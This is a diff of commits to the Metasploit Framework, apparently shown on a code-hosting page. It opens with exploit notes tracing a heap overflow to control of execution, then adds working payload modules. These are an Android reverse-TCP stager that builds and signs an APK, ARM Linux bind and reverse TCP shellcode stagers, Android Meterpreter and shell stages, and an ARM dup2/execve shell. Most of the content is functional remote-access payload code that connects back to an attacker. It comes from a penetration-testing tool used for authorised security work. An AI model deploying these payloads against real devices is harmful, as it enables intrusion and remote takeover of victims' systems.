032617c8: 001a8 . 001e8 [101] - busy (1e0)
|
||||
|
||||
[*] Overflow:
|
||||
|
||||
.text:100146E1 push eax ; lpString2
|
||||
.text:100146E2 push CaptionlpBuffer ; lpString1
|
||||
.text:100146E8 call ds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000
|
||||
|
||||
[*] Get Control after overflow:
|
||||
|
||||
.text:1001A40D call overflow_sub_1001469E ; Overflow happens here
|
||||
.text:1001A412 mov ecx, edi ; edi points to the overflowed object, then ecx (this)
|
||||
.text:1001A414 call get_control_sub_100189EC ; Get profit from the overflowed object here
|
||||
|
||||
.text:100189EC get_control_sub_100189EC proc near ; CODE XREF: sub_1001A1A9+B6p
|
||||
.text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
|
||||
.text:100189EC
|
||||
.text:100189EC var_4 = dword ptr -4
|
||||
.text:100189EC
|
||||
.text:100189EC push ebp
|
||||
.text:100189ED mov ebp, esp
|
||||
.text:100189EF push ecx
|
||||
.text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled
|
||||
.text:100189F3 and [ebp+var_4], 0
|
||||
.text:100189F7 test eax, eax
|
||||
.text:100189F9 jz short locret_10018A23
|
||||
.text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled
|
||||
.text:100189FD lea edx, [ebp+var_4]
|
||||
.text:10018A00 push edx
|
||||
.text:10018A01 push offset unk_1002B628
|
||||
.text:10018A06 push eax
|
||||
.text:10018A07 call dword ptr [ecx] # woot!
|
||||
|
||||
=end
|
||||
@@ -6,6 +6,8 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/ole'
|
||||
require 'rex/ole/util'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
#!/usr/bin/env ruby -I../lib
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
|
||||
|
||||
require 'test/unit'
|
||||
|
||||
require 'encoders/generic/none.rb.ut'
|
||||
require 'encoders/x86/call4_dword_xor.rb.ut'
|
||||
require 'encoders/x86/countdown.rb.ut'
|
||||
require 'encoders/x86/fnstenv_mov.rb.ut'
|
||||
require 'encoders/x86/jmp_call_additive.rb.ut'
|
||||
|
||||
class Rex::TestSuite
|
||||
def self.suite
|
||||
suite = Test::Unit::TestSuite.new("Rex")
|
||||
|
||||
# General
|
||||
suite << Msf::Encoders::Generic::None::UnitTest.suite
|
||||
suite << Msf::Encoders::X86::Call4Dword::UnitTest.suite
|
||||
suite << Msf::Encoders::X86::Countdown::UnitTest.suite
|
||||
suite << Msf::Encoders::X86::FnstenvMov::UnitTest.suite
|
||||
suite << Msf::Encoders::X86::JmpCallAdditive::UnitTest.suite
|
||||
|
||||
return suite;
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,84 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Dalvik
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => 'timwr',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder, input)
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
|
||||
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "res", "drawable-mdpi", "icon.png" ],
|
||||
[ "res", "layout", "main.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(1024)
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
cert.subject = x509_name
|
||||
cert.issuer = x509_name
|
||||
cert.public_key = key.public_key
|
||||
|
||||
# Some time within the last 3 years
|
||||
cert.not_before = Time.now - rand(3600*24*365*3)
|
||||
|
||||
# From http://developer.android.com/tools/publishing/app-signing.html
|
||||
# """
|
||||
# A validity period of more than 25 years is recommended.
|
||||
#
|
||||
# If you plan to publish your application(s) on Google Play, note
|
||||
# that a validity period ending after 22 October 2033 is a
|
||||
# requirement. You can not upload an application if it is signed
|
||||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||
|
||||
jar.sign(key, cert, [cert])
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,120 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# BindTcp
|
||||
# -------
|
||||
#
|
||||
# Linux bind TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 226, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
[
|
||||
0xe59f70d4, # ldr r7, [pc, #212]
|
||||
0xe3a00002, # mov r0, #2
|
||||
0xe3a01001, # mov r1, #1
|
||||
0xe3a02006, # mov r2, #6
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0c000, # mov ip, r0
|
||||
0xe2877001, # add r7, r7, #1
|
||||
0xe28f10b0, # add r1, pc, #176
|
||||
0xe3a02010, # mov r2, #16
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe2877002, # add r7, r7, #2
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe2877001, # add r7, r7, #1
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe0411001, # sub r1, r1, r1
|
||||
0xe1a02001, # mov r2, r1
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0c000, # mov ip, r0
|
||||
0xe24dd004, # sub sp, sp, #4
|
||||
0xe2877006, # add r7, r7, #6
|
||||
0xe1a0100d, # mov r1, sp
|
||||
0xe3a02004, # mov r2, #4
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe59d1000, # ldr r1, [sp]
|
||||
0xe59f3070, # ldr r3, [pc, #112]
|
||||
0xe0011003, # and r1, r1, r3
|
||||
0xe3a02001, # mov r2, #1
|
||||
0xe1a02602, # lsl r2, r2, #12
|
||||
0xe0811002, # add r1, r1, r2
|
||||
0xe3a070c0, # mov r7, #192
|
||||
0xe3e00000, # mvn r0, #0
|
||||
0xe3a02007, # mov r2, #7
|
||||
0xe59f3054, # ldr r3, [pc, #84]
|
||||
0xe1a04000, # mov r4, r0
|
||||
0xe3a05000, # mov r5, #0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe2877063, # add r7, r7, #99
|
||||
0xe1a01000, # mov r1, r0
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xe59d2000, # ldr r2, [sp]
|
||||
0xe2422ffa, # sub r2, r2, #1000
|
||||
0xe58d2000, # str r2, [sp]
|
||||
0xe3520000, # cmp r2, #0
|
||||
0xda000002, # ble 811c <last>
|
||||
0xe3a02ffa, # mov r2, #1000
|
||||
0xef000000, # svc 0x00000000
|
||||
0xeafffff7, # b 80fc <loop>
|
||||
0xe2822ffa, # add r2, r2, #1000
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0f001, # mov pc, r1
|
||||
0x5c110002, # .word 0x5c110002
|
||||
0x00000000, # .word 0x00000000
|
||||
0x00000119, # .word 0x00000119
|
||||
0xfffff000, # .word 0xfffff000
|
||||
0x00001022 # .word 0x00001022
|
||||
].pack("V*")
|
||||
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
|
||||
print_status("Transmitting stage length value...(#{payload.length} bytes)")
|
||||
|
||||
address_format = 'v'
|
||||
|
||||
# Transmit our intermediate stager
|
||||
conn.put( [ payload.length ].pack(address_format) )
|
||||
|
||||
Rex::ThreadSafe.sleep(0.5)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,113 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# ReverseTcp
|
||||
# ----------
|
||||
#
|
||||
# Linux reverse TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 182, 'n' ],
|
||||
'LHOST' => [ 184, 'ADDR' ],
|
||||
},
|
||||
'Payload' =>
|
||||
[
|
||||
0xe59f70b4, # ldr r7, [pc, #180]
|
||||
0xe3a00002, # mov r0, #2
|
||||
0xe3a01001, # mov r1, #1
|
||||
0xe3a02006, # mov r2, #6
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0c000, # mov ip, r0
|
||||
0xe2877002, # add r7, r7, #2
|
||||
0xe28f1090, # add r1, pc, #144
|
||||
0xe3a02010, # mov r2, #16
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe24dd004, # sub sp, sp, #4
|
||||
0xe2877008, # add r7, r7, #8
|
||||
0xe1a0100d, # mov r1, sp
|
||||
0xe3a02004, # mov r2, #4
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe59d1000, # ldr r1, [sp]
|
||||
0xe59f3070, # ldr r3, [pc, #112]
|
||||
0xe0011003, # and r1, r1, r3
|
||||
0xe3a02001, # mov r2, #1
|
||||
0xe1a02602, # lsl r2, r2, #12
|
||||
0xe0811002, # add r1, r1, r2
|
||||
0xe3a070c0, # mov r7, #192
|
||||
0xe3e00000, # mvn r0, #0
|
||||
0xe3a02007, # mov r2, #7
|
||||
0xe59f3054, # ldr r3, [pc, #84]
|
||||
0xe1a04000, # mov r4, r0
|
||||
0xe3a05000, # mov r5, #0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe2877063, # add r7, r7, #99
|
||||
0xe1a01000, # mov r1, r0
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xe59d2000, # ldr r2, [sp]
|
||||
0xe2422ffa, # sub r2, r2, #1000
|
||||
0xe58d2000, # str r2, [sp]
|
||||
0xe3520000, # cmp r2, #0
|
||||
0xda000002, # ble 80fc <last>
|
||||
0xe3a02ffa, # mov r2, #1000
|
||||
0xef000000, # svc 0x00000000
|
||||
0xeafffff7, # b 80dc <loop>
|
||||
0xe2822ffa, # add r2, r2, #1000
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0f001, # mov pc, r1
|
||||
0x5c110002, # .word 0x5c110002
|
||||
0x0100007f, # .word 0x0100007f
|
||||
0x00000119, # .word 0x00000119
|
||||
0xfffff000, # .word 0xfffff000
|
||||
0x00001022 # .word 0x00001022
|
||||
].pack("V*")
|
||||
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
|
||||
print_status("Transmitting stage length value...(#{payload.length} bytes)")
|
||||
|
||||
address_format = 'V'
|
||||
|
||||
# Transmit our intermediate stager
|
||||
conn.put( [ payload.length ].pack(address_format) )
|
||||
|
||||
Rex::ThreadSafe.sleep(0.5)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,51 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
# The stager should have already included this
|
||||
#include Msf::Payload::Java
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Meterpreter',
|
||||
'Description' => 'Run a meterpreter server on Android',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Dalvik version so we can load a prebuilt jar to be
|
||||
# used as the final stage
|
||||
#
|
||||
def generate_stage
|
||||
clazz = 'androidpayload.stage.Meterpreter'
|
||||
file = File.join(Msf::Config.data_directory, "android", "metstage.jar")
|
||||
metstage = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
file = File.join(Msf::Config.data_directory, "android", "meterpreter.jar")
|
||||
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
# Name of the class to load from the stage, the actual jar to load
|
||||
# it from, and then finally the meterpreter stage
|
||||
java_string(clazz) + java_string(metstage) + java_string(met)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
# The stager should have already included this
|
||||
#include Msf::Payload::Java
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Command Shell',
|
||||
'Description' => 'Spawn a piped command shell (sh)',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::CommandShell))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the {Payload::Dalvik} version so we can load a prebuilt jar
|
||||
# to be used as the final stage
|
||||
#
|
||||
def generate_stage
|
||||
clazz = 'androidpayload.stage.Shell'
|
||||
file = File.join(Msf::Config.data_directory, "android", "shell.jar")
|
||||
shell_jar = File.open(file, "rb") {|f| f.read(f.stat.size) }
|
||||
|
||||
# Name of the class to load from the stage, and then the actual jar
|
||||
# to load it from
|
||||
java_string(clazz) + java_string(shell_jar)
|
||||
end
|
||||
end
|
||||
Executable
+52
@@ -0,0 +1,52 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux dup2 Command Shell',
|
||||
'Description' => 'dup2 socket in r12, then execve',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
[
|
||||
0xe3a0703f, # mov r7, #63 ; 0x3f
|
||||
0xe3a01003, # mov r1, #3
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe2411001, # sub r1, r1, #1
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe3510001, # cmp r1, #1
|
||||
0xaafffffa, # bge 805c <up>
|
||||
0xe3a0700b, # mov r7, #11
|
||||
0xe28f0018, # add r0, pc, #24
|
||||
0xe24dd018, # sub sp, sp, #24
|
||||
0xe50d0014, # str r0, [sp, #-20]
|
||||
0xe3a02000, # mov r2, #0
|
||||
0xe50d2010, # str r2, [sp, #-16]
|
||||
0xe24d1014, # sub r1, sp, #20
|
||||
0xe1a02001, # mov r2, r1
|
||||
0xef000000, # svc 0x00000000
|
||||
0x6e69622f, # .word 0x6e69622f
|
||||
0x0068732f # .word 0x0068732f
|
||||
].pack("V*")
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Post
|
||||
return true
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e)
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user